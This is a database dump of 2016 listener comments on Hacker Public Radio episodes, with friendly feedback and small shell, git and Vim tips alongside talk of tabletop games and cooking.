(1653,2082,'2016-08-13 10:57:08','Jonas','New perspective.','Thanks for the show. I always tend to change the EQ settings when listening to music, etc. I never really thought about it from the audio engineer\'s point of view. Specifically the idea of tuning different frequencies out of a recording to change the feel of the recording. Seems like what noise cancelling headphones do but more manual and precise. EQ after the recording is done feels kind of blunt and pointless after hearing what it\'s really for. I guess that\'s why they have all those sliders when you see studios on TV and movies. I have much more respect for audio production engineers now. \r\n\r\nMaybe on your next show, you can talk about the different ways you could record in a noisy multi-person room as compared to a smaller room with just one or two people. ','2017-09-09 07:41:33'),
(1654,2086,'2016-08-03 12:46:33','Tony Hughes','Whats in My Bag','Hi Guy\'s just a comment on your comment on my Show 2065 the Laptops I talked about were all bought at a local computer auction that I have been going to for about 9 years, and where most of my PC tech comes from, so not donated but bought at a very reasonable cost. The Lenovo X61s cost me &pound;35 each and make brilliant little net books that if they get broken on the move I\'ve not lost a fortune. ','2017-09-09 07:41:33'),
(1655,2088,'2016-08-03 12:54:32','Tony Hughes','HPR 2088','Hi Knightwise really loved this show your experience with Linux goes a bit further back than mine I only took the plunge when Ubuntu came on the scene and I started to use it to Freecycle old kit here in the UK. I was so impressed with the reactions of those receiving the freely given PC\'s that I started to use Linux on my own box and have been Linux only since 2009 First with Ubuntu and then Mint. I have just upgraded to Mint 18 and so far it looks quite stable.    ','2017-09-09 07:41:33'),
(1656,2088,'2016-08-03 21:13:26','Steve','HPR 2088','Great story and well told.','2017-09-09 07:41:33'),
(1657,2088,'2016-08-04 11:20:25','knightwise','Yeey Steve ! ','Hey Steve :) Very happy to hear that you found the show entertaining. I hope you have a lot of fun using linux, I think its even MORE fun if you can do it on hardware that other people have discarded. Gives you geek creds !','2017-09-09 07:41:33'),
(1658,2088,'2016-08-24 10:02:53','other_Steve','','wish i could grasp this stuff. i hated computers and computing growing up but didnt understand the importance of oncoming onslaught of the computer age.presently 10 -15 yrs hunting and pecking and have tried to learn but, also have low iq, so im pretty much locked out of any hope of ever learning on my own..anywho thats my problem ! lstening as im typing,and the girlfriend and Prof Dad story is very cool. ty ','2017-09-09 07:41:33'),
(1659,2089,'2016-08-13 10:24:35','Dave Morriss','Great show','Hi Mr X,\r\n\r\nAn interesting show. Good to know you\'re having fun with the BlinkStick.\r\n\r\nI\'m looking forward to hearing about your Python project in due course.','2017-09-09 07:41:33'),
(1660,2090,'2016-08-08 19:22:32','b-yeezi','More interviews','I really enjoyed this show. Not only did it make Docker seem more approachable to me, but I liked hearing the different perspectives of beginner and experienced Docker users.\r\n\r\nI also enjoy the interview format, and want to hear more of them. I may have to try to make one myself.','2017-09-09 07:41:33'),
(1661,2090,'2016-08-18 00:56:33','Thaj','Thanks!','Groovy, Thanks.  Don;t worry there are going to be more like this one in the future for sure. ','2017-09-09 07:41:33'),
(1662,2091,'2016-08-09 00:46:44','Jonathan Kulp','Ack!','Thanks this is a genius tool. Never heard of it before.','2017-09-09 07:41:33'),
(1663,2091,'2016-08-17 16:55:35','Ken Fallon','I love detox ','detox -vr *\r\n\r\nwow what an excellent tool.','2017-09-09 07:41:33'),
(1664,2091,'2016-08-19 16:30:03','Dave Morriss','Thanks for mentioning \'ack\'','Wow! I had never encountered \'ack\' before. It\'s amazing.\r\n\r\nI have written a bunch of Bash scripts to work with a PostgreSQL database (yes, I know, it\'s a bit like wearing a hair shirt; self mortification), and I found I could do things like:\r\n\r\nack --shell --pager=more psql .\r\n\r\nThere\'s no other easy way to do this that I know of.\r\n\r\nThanks very much for pointing this one out.','2017-09-09 07:41:33'),
(1665,2091,'2016-08-21 14:53:50','ivor','Interesting','I always love vim tips. So I got pulled in looking at the buffer search. Then I noticed the other tools mentioned. Most of them I know about and use all that are relevant to me very frequently. So now I\'m going to subscribe...','2017-09-09 07:41:33'),
(1666,2093,'2016-08-10 02:13:12','Clinton Roy','','Very interesting, and important, thanks for the interview.','2017-09-09 07:41:33'),
(1667,2094,'2016-08-24 18:56:13','Dave Morriss','Using grep in a script','One thing I have learned while writing Bash scripts (for the hell of it sometimes) is that \'grep -q\' is useful for direct use in \'if\' expressions.\r\n\r\nYou could do:\r\n\r\nif wmctrl -l | grep -q \"LibreOffice\"; then\r\n   wmctrl -a \"LibreOffice\"\r\nelse\r\n   loffice &amp;\r\nfi\r\n\r\nIt can reduce script complexity a fair bit.','2017-09-09 07:41:33'),
(1668,2094,'2016-08-25 16:49:58','Jon Kulp','Good tip','Aha! Very nice tip! It would save us having to redirect stuff to /dev/null, wouldn\'t it?','2017-09-09 07:41:33'),
(1669,2094,'2016-08-25 17:31:42','Dave Morriss','grep -q','Yes, \'grep -q\' simply returns a zero (true) result if a match is found and writes nothing on standard output.\r\n\r\nI didn\'t know about this until relatively recently. The original Unix \'grep\' I encountered didn\'t have this and you\'d have to do things the way you did in your script. GNU grep was enhanced with many such features, which I think was a good thing personally. Others prefer the old \"clean\" way.','2017-09-09 07:41:33'),
(1670,2095,'2016-08-18 19:17:47','Ken Fallon','Not allowed in the EU','Excellent episode as always.\r\n\r\nIAMAL but in the EU at least it is not permissible to intercept all communications via a local ssl  cert, even if a policy is in place about non personal use of computers. \r\n\r\nGoogle Chrome also implements checks to alert if the cert used on a site doesn\'t match the known cert (eg google.com turns out to be company.example.com)\r\n\r\nKen.','2017-09-09 07:41:33'),
(1671,2095,'2016-08-19 16:29:00','Kevin O\'Brien','Different in EU','Well, I am not a lawyer either, but it looks like EU and US are different in this regard. I can say that in the US the courts have ruled that it is legal since the company owns the computers.','2017-09-09 07:41:33'),
(1672,2095,'2016-09-21 15:03:16','clacke','Different within EU','Dropping in on the convo without having heard the episode (yet).\r\n\r\nI\'m in Sweden (which is in the EU), and the company I\'m currently contracting for are pretty careful about dotting their i\'s and crossing their lawyerly t\'s, so I don\'t believe they would be risking doing anything illegal.\r\n\r\nThey intercept TLS traffic, but I don\'t know if they store anything, or if it\'s just for the content filter to work and then gets thrown away. Maybe that makes a difference.\r\n\r\nGoogle Chrome uses the OS certificate list. So if you are on your company-issued Windows computer that has the firewall\'s TLS CA installed to facilitate interception, Chrome will accept the CA just as if it were a real CA. Firefox won\'t, because it has its own list.','2017-09-09 07:41:33'),
(1673,2096,'2016-08-18 19:38:12','Ken Fallon','Here\'s me with the questions','Any special significance to the \"%s\" ? \r\n\r\nDid not know this: ${FUNCNAME[0]}: \r\nnor  this: ${BASH_LINENO[0]}:\r\nnor this: default=\"${2^^}\"\r\n\r\nWhy do this:\r\nprintf -v prompt \"$prompt\" \"[Y/n]\" \r\nand not this:\r\nprompt=\"${prompt} [Y/n]\"\r\n\r\n','2017-09-09 07:41:33'),
(1674,2096,'2016-08-18 20:59:27','Dave Morriss','Some answers for you...','The \"%s\" is to be used in the prompt, as in:\r\n\r\nif ! yes_no_mk3 \'Do you want to continue? %s \' \'N\'; then\r\n\r\nIt indicates the point at which the possible responses are shown in the prompt, using capitalisation to denote which is the default. I used \'%s\' because I\'ll be using the prompt string as a format definition for printf, and \'%s\' means \"substitute a string of arbitrary length here\".\r\n\r\nThe use of printf to write the prompt string allows  the format to be defined when calling the function. The way it\'s laid out is:\r\n\r\nprintf -v prompt \"$prompt\" \"[Y/n]\" \r\n\r\nbecause the \'-v prompt\' saves the result in variable \'prompt\' (rewrites it).\r\nThe  \"$prompt\" is the format string like when you do:\r\n\r\nprintf \"The answer is %d\\n\" 42\r\n\r\ngiving:\r\n\r\nThe answer is 42\r\n\r\nIn this case however, the text to be substituted for \'%s\' is \"[Y/n]\".\r\n\r\nNone of this would work with:\r\n\r\nprompt=\"${prompt} [Y/n]\"\r\n\r\nIn my example function call above you\'d get \'prompt\' containing:\r\n\r\n\"Do you want to continue? %s  [Y/n]\"\r\n\r\nNo substitution would happen.\r\n\r\nOf course you could redesign the function to simply append the \"[Y/n]\" to the prompt in the way you did. I just liked the flexibility of being able to place that part of the prompt where I liked.\r\n\r\nHope that helps.','2017-09-09 07:41:33'),
(1675,2097,'2016-08-05 09:25:34','Tony Hughes','New Toys','Just to say I made a mistake on the price of the new tower during the show mixing it up with the Dell laptop I also bought at the same auction, the Total price I paid was &pound;184.80 which given these go on E-bay for &pound;260+ not including delivery I thought was a Bargain.','2017-09-09 07:41:33'),
(1676,2097,'2016-08-19 19:17:12','Frank','','I remember slide rules . . . .','2017-09-09 07:41:33'),
(1677,2106,'2016-08-31 21:43:37','Dave Morriss','I had forgotten hpodder','Interesting show.\r\n\r\nYour description of hpodder made it sound well worth looking at. Then I realised  I\'d heard the name before, and on looking in my home directory found I had used it back in 2006. I even found the ~/.hpodder directory and the old Sqlite database. (Yes my homedir contains all the collected crud of many years of tinkering.)\r\n\r\nI have no idea why I stopped using hpodder. I eventually hacked together a system of my own around Bashpodder, so maybe that\'s why. Prior to that I think I was using Juice on the family Windows system and at some point gPodder.\r\n\r\nAnyway, it was nice to hear about hpodder again','2017-09-09 07:41:33'),
(1678,2107,'2016-08-31 11:29:26','Fweeb','.PHONY','Did a quick `info make` and scanned through it a bit. The .PHONY target is kind of a safety net. See, normally, targets in a makefile share the name of the exact file being made. However, in the case of something like `clean`, there\'s usually no file with that name being produced, just a series of deletions. *However*, if there is a file named `clean` in the same directory as your makefile, that can cause some confusion for the make command. So, by using `.PHONY: clean`, you\'re telling make to disregard a file named clean if it happens to see it.\r\n\r\nI\'m less sure about .SUFFIXES. The section on that in the manual was long and starts with the phrase \"Old-Fashioned\"... so perhaps it\'s something that\'s not entirely necessary for your makefile at this point.','2017-09-09 07:41:33'),
(1679,2107,'2016-09-01 11:17:34','Jonathan Kulp','.REAL','Thanks for the info. It\'s funny I guess I could read info pages myself but normally I just look at other people\'s Makefiles for examples and never really understand what they\'re doing. Once it all works I\'m happy. Bit of trial and more error...','2017-09-09 07:41:33'),
(1680,2107,'2016-09-01 14:00:14','Dave Morriss','\"Copy and paste programming\"','We have probably all been there. I believe the practice is called \"copy and paste programming\" nowadays. I have certainly written Makefiles by this method. I have tried to learn more about the subject by reading the GNU make manual but it\'s hard going!\r\n\r\nI\'d say it\'s certainly a subject for a series of HPR shows.','2017-09-09 07:41:33'),
(1681,2111,'2016-09-05 07:29:36','Tony Hughes','Show 2111','Hi Guys you wanted to know about the auction I use to buy my Computer equipment from. The company is called Northern Realisations they specialise in disposing of old corporate stock no longer required and much of what they sell goes into the refurbishment market. But they have a public auction once a month in Bolton in the UK. \r\n\r\nhttps://www.realnorth.co.uk/\r\n','2022-02-14 13:17:31'),
(1682,2111,'2016-09-07 07:30:51','kdmurray','Audio tours','Ken was looking for a name for the episodes that people record out in the world rather than in the studio. The name I\'m familiar with is a \"Soundseeing Tour.\" \r\n\r\nThese are always great because of their ambient nature and that they provide a unique perspective on the subject by recording it on location.\r\n\r\nThis might be a good series too !','2017-09-09 07:41:33'),
(1683,2111,'2016-09-07 18:19:17','Ken Fallon','Love It','Love Audio tours ','2017-09-09 07:41:33'),
(1684,2113,'2016-09-07 02:35:07','mackrackit','','I found this episode very useful.  It gave me a lot of ideas.  Looking forward to more like it.','2017-09-09 07:41:33'),
(1685,2113,'2016-09-08 11:34:46','JONATHAN KULP','Worst ever?','I thought I heard you say at the end of this episode that it might be the worst HPR ever? No way! I really enjoyed this, was great hearing how you worked your way through the problem and arrived at a usable solution. Please do more!','2017-09-09 07:41:33'),
(1686,2113,'2016-09-08 16:25:37','Gumnos','Cleaning up the script','You could clean up the script a bit by using a \"here document\" instead of a temporary SQL file, something like\r\n\r\n    sqlite3 ','2017-09-09 07:41:33'),
(1687,2113,'2016-09-08 19:18:21','Kevin O\'Brien','Excellent show!','As I was listening to this show on my drive in to work I was thinking that it epitomizes what we mean by something of interest to hackers. I want to hear more from norrist.','2017-09-09 07:41:33'),
(1688,2113,'2016-09-08 19:28:17','norrist','','I have never heard of a \"here document\".  Thanks for the tip.','2017-09-09 07:41:33'),
(1689,2113,'2016-09-10 22:02:47','Dave Morriss','I enjoyed this','A good topic for a show I thought. I enjoyed following your thinking and your solution. The audio was good and the background noise was not distracting at all.\r\n\r\nI never use full paths to commands, though I can see cases where perhaps I should. Have you been bitten by not doing this in the past? If so I\'d like to hear about it.\r\n\r\nI wondered why the date program used in the crontab entry was /bin/date whereas it was /usr/bin/date in the main script. Are you working across different OSes or architectures?\r\n\r\nLooking forward to more!','2017-09-09 07:41:33'),
(1690,2115,'2016-09-11 04:42:20','b-yeezi','Thanks for parecord','Thanks for parecord. I will try it when I record my next episode. \r\n\r\nAs for cmus, I can\'t recommend it enough. I have a nas with a nfs share full of a few thousand songs. Must graphical music players choke when updating the library, but cmus handles it like a champ. I agree that the controls take some getting used to, but it\'s worth it in the end. Plus it fits an I3 workflow perfectly. ','2017-09-09 07:41:33'),
(1691,2116,'2016-09-24 16:57:19','Col','Info','Can you put a bit more info in the blurb about the talk? ','2017-09-09 07:41:33'),
(1692,2116,'2016-09-24 18:21:07','Dave Morriss','Re: Info','Hi Col,\r\n\r\nThanks for the comment.\r\n\r\nWhat sort of information were you looking for? Explanations of terms? Links?\r\n\r\nNot quite sure what you need.\r\n\r\nDave','2017-09-09 07:41:33'),
(1693,2119,'2016-09-15 18:17:11','Steve','How about some cajun cooking?','Enjoyed listening to this episode. I, for one, find your \"listen to me while I\'m doing something\" episodes quite interesting.\r\n\r\nYou commented on red beans and sausage preparations. If you had any recipes, tips, tricks, and methods to share on cajun cooking, I\'d love to hear an episode or two about that!\r\n\r\nThanks for the great episodes.\r\n','2017-09-09 07:41:33'),
(1694,2119,'2016-09-16 16:42:09','Jonathan Kulp','cajun cooking','Thanks for the comment, glad to hear you enjoy these things. As far as the Cajun food, I could try it but normally my wife is the one who makes these dishes, except one time I did the red beans and sausage in the Crock-Pot when she was out of town so I might be able to handle that. I could ask her to do her own episode, but somehow I don\'t think that\'s going to happen haha!','2017-09-09 07:41:33'),
(1695,2119,'2016-09-20 03:56:50','MrsXoke','You Learn Something New Everyday','I cannot tell you how many times I have stood in the kitchen trying to level off the vegetable shorting in the measuring cup, only to have to try and scrape it out afterward.  Then, I would have to work even harder to wash the shortening that remained out of the measuring cup.  Imagine my shock and excitement when I listened to your podcast, and realized that the rest of the world has been holding out on m by not sharing the brilliance of the displacement method of measuring shortening.  They are jerks, and you may be my new hero as I approach the holiday baking season.  I was truly pleased to learn there is an easier way.  Thank you.','2017-09-09 07:41:33'),
(1696,2119,'2016-09-20 12:39:56','Jonathan Kulp','Mom\'s wisdom','Haha it\'s good to know that this was helpful. I gotta give credit where it\'s due, though. It was my mom that taught me this when I was probably 10 or 12 years old. She knows how to do basically everything.','2017-09-09 07:41:33'),
(1697,2119,'2016-09-28 06:18:47','guitarman','Yum!','I\'ve made these twice in 2 days now... Couldn\'t resist.  I\'ve upped the chocolate chips a bit since I\'m using gluten free flour and it needed a bit more chocolate to cover that up.\r\n\r\nThank you very much for sharing and inspiring me to make cookies - haven\'t made them in years. :)\r\n','2017-09-09 07:41:33'),
(1698,2120,'2016-09-24 03:26:37','b-yeezi','Nice','Ooooh I gotta try some of this stuff. More episodes, please.','2017-09-09 07:41:33'),
(1699,2121,'2016-09-23 03:18:43','Joe','Great Show','I agree that board games seem like yesterdays history. I think they like the 80\'s music will make a return. Digital pulls people apart where the analog brings them together. Like the presentation and look forward to playing the game.','2017-09-09 07:41:33'),
(1700,2121,'2016-10-02 20:04:45','notklaatu','Re: Great Show','Thanks Joe. I wish I had the moral high ground and could claim that I\'ve always supported analogue gaming, but the truth is I\'m only just discovering it myself, so up until now I reckon I\'ve been a part of the problem.\r\n\r\nThat said, it really does seem like we\'re more or less in a golden age for tabletop gaming. Granted, the RPG systems from and since the 80s have always been ahead of their time, but it feels to me like the board game and card game systems that have been popping up are truly clever, steeped in equal parts solid game-theory and imagination, and they have something for everyone. If ever there\'s been a time to get into analogue gaming, I think it\'s RIGHT NOW.','2017-09-09 07:41:33'),
(1701,2121,'2016-10-12 11:42:16','rtsn','!','Good stuff! \r\n\r\nTo be honest I was stupid enough to think that I was too \"cool\" for RPG:s and tabletop games when I was I young so I never got into it back then and this is something I\'ve regretted ever since. \r\n\r\nDark (o)ccult(s) sounds pretty interesting, I think I\'ll look into it. Thanks for a great episode!','2017-09-09 07:41:33'),
(1702,2121,'2016-12-05 00:18:44','m1rr0r5h4d35','Loved This','I was introduced to RPGs in the 5th grade, when a friend brought his copy of the AD&amp;D Player\'s Handbook to school with him. I actually discovered Palladium Books\' system sometime later, and really liked it. Although, it seems not many others cared for that system, finding it bulky and cumbersome, which I understand. Still, It\'s one of my favorites. This game looks to be remarkably engrossing. I am going to have to try it out with my wife. Thanks so much!\r\n','2017-09-09 07:41:33'),
(1703,2125,'2016-10-06 18:55:52','alpha32','creeper van','creeper van is the name I gave my work van. It\'s a windowless (in the back) white van. It\'s not very glamorous, but it holds a lot of computer parts.','2017-09-09 07:41:33'),
(1704,2126,'2016-10-19 21:06:34','kendal','','cool !!!!','2017-09-09 07:41:33'),
(1705,2127,'2016-09-27 18:04:08','John','Game Inspiring','It takes time to play a good analogue game how days where it takes two people. But I agree with the author that it is well worth the time. It allows you to be more creative in developing your adventure then today\'s narrow computer game stories. I download the Dark Occult game and plan to see if I can encourage other people to disconnect for a while and have some fun. Enjoyed the podcast and looking forward to the next show.','2017-09-09 07:41:33'),
(1706,2127,'2016-10-02 19:59:36','notklaatu','Re: Game Inspiring','There\'s something comforting and sublimely satisfying about sitting down with a good game, a good cup of coffee, and wading through all the different rules and exceptions to rules. It must be similar to the thrill that a lawyer gets when going to a legal library. Or, less repulsively, when a programmer reviews an API.','2017-09-09 07:41:33'),
(1707,2129,'2016-09-29 16:24:45','alpha32','textbook?','mr. morriss, your series on awk, sed, etc. are brilliant. And a bit dense, i\'m going to have to come back to these with a notebook and more time. Are you also publishing a manual or textbook to go along with this? Wouldn\'t be a terrible idea... Thanks for your excellent work.','2017-09-09 07:41:34'),
(1708,2129,'2016-09-29 19:41:23','Dave Morriss','Re: textbook?','Hi alpha32,\r\n\r\nThanks for the compliments. I\'m sharing the awk series with b-yeezi this time since we\'re both keen to talk about it.\r\n\r\nYou\'ll have noticed that I like writing long detailed notes. I got into the habit of writing explanations of things when I started working in IT and kept a journal of stuff I\'d learnt. It probably followed on from my science education where we were encouraged to keep a lab book of what we\'d observed.\r\n\r\nSoon after I started running an adult evening class in Pascal, and wrote a series of handouts for my students that grew into a textbook at the end of the course. It was intended as a resource that they could refer to and learn from outside the classes.\r\n\r\nThe workflow I use to generate show notes (producing HTML from Markdown) allows me to turn on an ePub generation stage. I tried it out for some HPR episodes but wasn\'t happy with the results. I could look at improving this if anyone is interested and could recreate ePub format notes for the sed series for example. It\'s not a textbook as such but should be a comprehensive set of notes about the episodes that could be read on a PC or tablet.','2017-09-09 07:41:34'),
(1709,2130,'2016-10-02 14:12:28','clacke','I figured :-)','I thought, \"Hey, this is probably useful if you want to host something at gitlab and have an unofficial clone at \". One minute later ... yep. :-)','2017-09-09 07:41:34'),
(1710,2130,'2016-10-02 16:11:54','clacke','explicit push','Very cool discovery! I never even considered the idea that you could have several URLs for a remote.\r\n\r\nAs you mentioned that this kind of mixed remote would make it \"impossible\" (without adding remotes) to push to only one of the URLs, I though I should mention something that probably not everyone knows:\r\n\r\nYou don\'t need to set up a remote to fetch or push. You can use an explicit URL instead of a remote name:\r\n\r\ngit push ssh://my.server/~/git/myrepo HEAD:master\r\n\r\nIn fact, because I forget what the various options are for managing references/branches, I often use this to remove a reference in the local repository.\r\n\r\ngit push . :refs/heads/whatever_branch','2017-09-09 07:41:34'),
(1711,2130,'2016-10-08 09:17:18','klaatu','explicit push','Funny you mention the explicit push. I knew about it, or at least I knew about the explicit pull, because I use it when migrating git repositories at work...but only with local URI\'s. It never dawned on me that it could be done with non-local URI\'s. Thanks for the tip!','2017-09-09 07:41:34'),
(1712,2130,'2016-11-02 12:20:52','Dave Morriss','Thought I\'d never use this','This was interesting, but I thought I\'d never use it. However, I had an instance recently where making a GitHub copy of a repository on a GitLab instance was desirable. It was straightforward to set up and worked flawlessly.\r\n\r\nThanks for explaining the process.','2017-09-09 07:41:34'),
(1713,2133,'2016-10-12 11:45:49','rtsn','Good episode!','I just wanted to sat that I really enjoyed this episode. I love the \"light\"-technical episodes with a good balance between hand-wavy explanations and preciseness. It gets be interested and makes me want to learn more.\r\n\r\nKeep it up! ','2017-09-09 07:41:34'),
(1714,2134,'2016-12-18 20:43:23','CPrompt^','Great explanation!','Great explanation of how systemd works with two services like this.\r\n\r\nI started working with systemd services and went back to this show to get some info.  Good stuff!\r\n\r\nJust wanted to point out that in the show notes, there is a little bit of a typo.\r\n\r\nUnder the \"fakehalt.service\" you have listed in the Unit section :\r\nAfter=fakevm.service\r\nRequires=fakevm.service\r\n\r\nHowever, right below that you call the service fake.service\r\n\r\nYou say it correct in the audio but the show notes have the typo.\r\n\r\nThanks!\r\nC:\\','2017-09-09 07:41:34'),
(1715,2136,'2016-10-31 01:10:02','John','Fluxx synchronicity ','Amazing Fluxx synchronicity, I purchased Fluxx Firefly card game about a month ago. I agree with how the game is set up is good but you can burn through the cards fast. Its fun to get started and they have a lot of different Fluxx games but the concept is the same across them all. Again love the card game prospective.','2017-09-09 07:41:34'),
(1716,2138,'2016-10-25 06:29:02','Krayon','Good fun!','NYBill,\r\n\r\nThanks for the episode, I always love these little games. This one is indeed\r\nfocused at beginners but can still be a bit of fun.\r\n\r\nI only just started trying it out so I\'m only up to level 16. Haven\'t come\r\nacross any challenge yet except the constant password typing :P\r\n\r\nI created an extremely over-engineered lil\' bashrc to ease typing a bit. With\r\nit, once you\'ve got the password, you simply type:\r\n    sshnext\r\n\r\nAnd then paste the password.\r\n\r\nIt copies itself each level to ensure only people of your level can screw with\r\nyour stuff and to give you a working directory if you need one.\r\n\r\nOne need only (as bandit0) choose a base name for the directories (CHANGE_ME\r\nhere) and create the directory /tmp/CHANGE_ME.bandit0/ and the file\r\n/tmp/CHANGE_ME.bandit0/.bashrc, containing:\r\n\r\nset -o vi\r\n\r\necho \"Setting aliases\"\r\nalias rot13=\'tr \"[a-mn-zA-MN-Z]\" \"[n-za-mN-ZA-M]\"\'\r\n\r\n# In bash >= 3, BASH_SOURCE will tell us who we are\r\nmedir=\"${BASH_SOURCE%/*}\"\r\ndbase=\"${medir%.*}\"\r\nwd=\"${dbase}.${USER}\"\r\n\r\ngame=\"${USER//[0-9]/}\"\r\ncurr=\"${USER//[a-z]/}\"\r\n\r\nlast=\"$((${curr} - 1))\"\r\nnext=\"$((${curr} + 1))\"\r\n\r\nunext=\"${game}${next}\"\r\n\r\ndlast=\"${dbase}.${game}${last}\"\r\n\r\n# Create this file as the new user\r\n[ ! -d \"${wd}\" ] &amp;&amp; {\r\n    cp -a \"${dlast}\" \"${wd}\" &amp;&amp; echo \"Created ${wd}\"\r\n}\r\n\r\nunset medir base game curr last next dlast\r\n\r\necho \"Working Directory: \\$wd == ${wd}\"\r\n\r\nfunction sshnext() {\r\n    global wd unext\r\n\r\n    ssh -t \\\r\n        -o \"UserKnownHostsFile /dev/null\" \\\r\n        -o \"StrictHostKeyChecking no\" \\\r\n        ${unext}@localhost \\\r\n        bash --rcfile \"${wd}/.bashrc\" \\\r\n        -i\r\n}\r\n','2017-09-09 07:41:34'),
(1717,2139,'2016-10-20 20:24:46','Klaatu','cool!','Wow, this is really slick. I\'m going to have give it a try (or at least something close to it. I know nothing of LaTeX, so I might skip that part). Thanks for the show!','2017-09-09 07:41:34'),
(1718,2139,'2016-12-20 16:01:32','Michael','\"Beamer\" vs. Projektor','Hello folks, I\'m late at listening and this is somewhat off topic but I just can\'t keep my mouth shut. Sorry for that.\r\nI coughed on the bit \"Beamer is obviously the German word for projector.\" You are virtually right and even the \"Duden\", as sort of a reference for the German language, backs \"Beamer\". However, I still don\'t want to call it a \"German word\". It is an English word, or derived from it, that is used by Germans. There is the matching word \"Projektor\" in German, just no one is using it to reference to a data projector. \r\nAlas, it is so common these days to call things by, what some people think might be, the English term for it. Just because it is supposed to be cool. An other great example of this is the use of the term \"public viewing\" in German to reference to watching a sports event on a giant screen in a public place like a town square. \r\n\r\n','2017-09-09 07:41:34'),
(1719,2140,'2016-10-19 23:05:40','Dave Morriss','Very interesting show','Great episode. I find you can always learn something from a fellow Vim user\'s list of plugins. There were several here I haven\'t used before, though I\'m trying them now!\r\n\r\nYou mentioned an \'ack\' plugin, but it wasn\'t on the list in your notes. Did you mean https://github.com/mileszs/ack.vim, or is there another one you use?','2017-09-09 07:41:34'),
(1720,2140,'2016-11-08 02:29:27','b-yeezi','ack.vim','Yes, Dave. That is the ack plugin that I use. There is also https://github.com/rking/ag.vim, which is supposed to be better, but I haven\'t tried it.','2017-09-09 07:41:34'),
(1721,2141,'2016-10-17 18:15:52','ShortFatBaldGuy','Great podcast','Klaatu - Thanks, your episodes are always solid, and this one gave me 10 new things to go explore.   It may have helped that it lined up with something I\'m currently playing with (some home automation and a tool for my wife\'s coworkers), so that made it that much better for me.  Thx - Scott','2017-09-09 07:41:34'),
(1722,2141,'2016-10-17 20:34:30','Jonathan Kulp','No Thanks ','Zero thanks for introducing yet another tool I\'d like to learn but have no time! Maybe next vacation. :) ','2017-09-09 07:41:34'),
(1723,2141,'2016-10-17 23:38:01','JONATHAN KULP','Seriously though...','Fantastic show, man. I\'m very intrigued by this thing.','2017-09-09 07:41:34'),
(1724,2141,'2016-10-18 21:56:53','b-yeezi','Give bottle a try','Great episode. If you like Flask, you may want to also try out bottle for smaller projects, or if you just want to make a REST API. It has very similar calls, like app.route(), and it\'s default templating engine is pretty similar to Jinja2. You can use Jinja2 if you wish with bottle as well.','2017-09-09 07:41:34'),
(1725,2141,'2016-10-20 20:17:38','Klaatu','Cheers','Glad the ep is appreciated! As I say in the show, the only reason I ended up using Flask was because it\'s what we had installed at the day job. Bottle, Web2Py, and Django are all other similar projects which I probably should have mentioned in the shownotes, so people can click on links and read up on each to see what they are interested in. Either way, it\'s pretty fun to mess around with, and a great way to stay immersed in Python, if that\'s what you already know (or are busy learning and/or perfecting).\r\n','2017-09-09 07:41:34'),
(1726,2143,'2016-10-26 03:01:22','Bambiker','','I cobbled the following together from what I learned in part 2. Maybe there\'s an easier way. \r\n vim `grep -ri \"tpl_header\" * | awk -F \":\" \'{print $1}\'`\r\n\r\nIt opens every file found in vim when grep finds the text \"tpl_header\" without quotes in the text. In vim, use :bn to hop to the next file and edit as you like. \r\n\r\ngrep -ri looks through every file and directory under the current directory disregarding the case of the search text. The * matches any file. I\'m in bash, so it may work differently in other shells. \r\n','2017-09-09 07:41:34'),
(1727,2143,'2016-10-26 14:13:47','Dave Morriss','grep and awk','I\'d skip the awk part here. My solution would be:\r\n\r\n   vim $(grep -ril \"tpl_header\" *)\r\n\r\nThe -l option to grep just returns the filename where a match occurred, so there\'s no need to use awk to separate it out from what grep returns.\r\n\r\nIn my case I usually keep vim backup files in the same directory so I\'d change \'*\' to \'*[^~]\' to omit those.\r\n\r\nAs an aside I prefer $() to back-ticks since they are more visible and (I think) nest better.\r\n\r\nThere are times when grep is unnecessary because awk can do the same job, but this isn\'t one. Quite the reverse!','2017-09-09 07:41:34'),
(1728,2145,'2016-10-21 06:05:01','b-yeezi','Love this Idea','Thanks for this show. I agree with your reasons for using markdown. It gets out of your way so you can write. I also find the idea of using git interesting, but I would be concerned about privacy. I guess you can host your own gitlab...\r\n\r\nCan\'t wait for your next show.','2017-09-09 07:41:34'),
(1729,2145,'2016-10-24 15:07:12','Fin','Nice! Licence?','Nice show! Sweet script! Is it up on a public git repo somewhere?\r\n\r\nTL;DR Would you mind adding a licence?\r\n\r\nYou might think of it as just a little, personal convenience script that doesn\'t mean much, that anyone can adapt if they please right? But, technically speaking, you\'ve got the copyright (by default) and I can\'t legally use this code.\r\n\r\nYou may consider it open source by being on a web page that is covered by the CC-BY-SA licence but they advise against it\'s use for software as it doesn\'t explicitly cover distribution of source code (see https://creativecommons.org/faq/#can-i-apply-a-creative-commons-license-to-software).\r\n\r\nI ask you to consider adding a licence to make it clear what people can do with your script. I\'d sure love to use it but, if I make changes and want to share it, we\'re in a grey area ;)','2017-09-09 07:41:34'),
(1730,2145,'2016-10-25 23:04:41','norrist','Version with copyright notice','Thanks for the feedback.  Here is a link to the script with an ISC license header.\r\n\r\nhttps://norrist.devio.us/pub/todo.sh\r\n\r\n\r\n','2022-02-14 13:17:31'),
(1731,2145,'2016-11-30 20:47:38','Matt','question about the script','I love your script idea and will probably be copying lots of it. THANKS!\r\n\r\nhowever, in the last \"for\" loop where you cat your files into the new \"README\" file, i don\'t understand this bit:\r\n\r\n$(ls  -r $DAILYPATH/2*md)\r\n\r\nmore specifically, the \"2*/md\" bit. Is this some kind of BASH specific notation? Is this a Mac thing?\r\n\r\nOTW, great episode and very helpful!\r\n\r\ncheers,\r\nmatt','2017-09-09 07:41:34'),
(1732,2145,'2016-12-01 16:58:29','norrist','\"2*/md\"','There isnt anything special about \"2*/md\".  All the files that I want combined into the readme are named by date and have the md suffix.  so \"2*/md\" matches 2016-12-01.md as well as all the other daily files.  The only reason for \"2*/md\" to be there is incase I have some other files in the directory that I dont want included in the readme.','2017-09-09 07:41:34'),
(1733,2145,'2016-12-04 00:08:05','Matt','of course!','thanks... i wasn\'t thinking about dates starting with 2... duh\r\n\r\nCheers,\r\nmatt','2017-09-09 07:41:34'),
(1734,2146,'2016-10-24 21:56:04','spaceman','lulz','I didn\'t know it is CreativeCommon.\r\n\r\nthis game is a joke in terms of \"shocking humour\" i guess 4chan /b/ destroyed my humanity.','2017-09-09 07:41:34'),
(1735,2146,'2016-10-25 15:24:18','Windigo','Bees?','I\'ve had many fun games of Cards Against Humanity since my partner introduced it to me. I see it as a little bit of a social litmus test - a quick way to judge the humor of the people in a group.\r\n\r\nThis tabletop gaming series has been fantastic; thanks for all of the work put in!','2017-09-09 07:41:34'),
